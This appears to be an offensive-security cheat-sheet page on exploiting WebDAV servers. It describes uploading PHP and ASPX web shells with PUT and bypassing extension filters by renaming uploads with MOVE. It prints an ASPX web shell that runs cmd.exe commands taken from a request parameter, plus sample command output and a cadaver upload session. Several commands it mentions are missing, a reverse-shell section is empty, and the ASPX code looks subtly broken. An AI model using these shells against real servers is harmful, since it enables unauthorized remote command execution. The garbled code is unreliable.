WebDAV Exploitation
WebDAV exploitation uses the PUT method to upload a web shell to the server, or the MOVE method to rename an uploaded non-executable file to an executable extension. Confirm upload capability and executable extension handling through WebDAV enumeration before uploading shells.
Direct PHP Web Shell Upload
Upload a PHP web shell directly if the server accepts .php files via PUT:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
MOVE Extension Bypass
When PUT blocks executable extensions but allows non-executable files, upload as .txt and MOVE to .php or .asp:
uid=33(www-data) gid=33(www-data)
ASPX Shell for IIS WebDAV
On IIS targets, upload an ASPX shell instead of PHP:
<%@@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd():""); %>
iis apppool\defaultapppool
cadaver for Interactive Upload
cadaver provides an interactive session for WebDAV operations — useful when curl returns ambiguous errors:
dav:/> put shell.php Uploading shell.php to '/shell.php': Progress: [=============================>] 100.0% of 31 bytes succeeded.
Reverse Shell Delivery
References
-
WebDAV upload and execution testing including MOVE bypass
-
Interactive WebDAV client for manual upload operations
Was this helpful?
Your feedback helps improve this page.